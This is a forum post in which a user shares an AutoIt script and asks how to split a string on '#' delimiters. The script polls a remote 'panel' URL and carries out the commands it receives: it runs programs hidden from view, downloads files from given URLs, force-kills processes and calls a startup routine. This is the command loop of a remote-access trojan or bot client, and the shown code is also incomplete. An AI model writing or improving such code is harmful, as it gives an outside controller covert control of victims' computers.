Jump to content

The # in AutoIt


Recommended Posts

I am making a script that is like this:

While (1)
    $con = _INetGetSource($panel) 
    sleep(1000)
    if $con then
    ExCmd()
    endif
    startup() ; Startup
    Sleep(3000)
WEnd
Func ExCmd()
    If StringInStr($con, "RUN#", 2) Then
        $cmd = StringSplit($con, "#")
        If StringInStr($con, "#SHOW", 2) Then
            Run($cmd[2])
        Else
            Run($cmd[2], "", @SW_HIDE)
        EndIf
        Sleep(7000)
            ElseIf StringInStr($con, "DOWNLOAD#", 2) Then
        $cmd = StringSplit($con, "#")
        InetGet($cmd[2], $cmd[3], 1, 0)
        Sleep(7000)
    ElseIf StringInStr($con, "KILL#", 2) Then
        $cmd = StringSplit($con, "#")
        Run("TASKKILL /F /IM " & $cmd[2] & ".exe", "", @SW_HIDE)
EndFunc

Can I make something that would make a variable in between the first 2 #, and another variable in the 2nd and 3rd #?

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...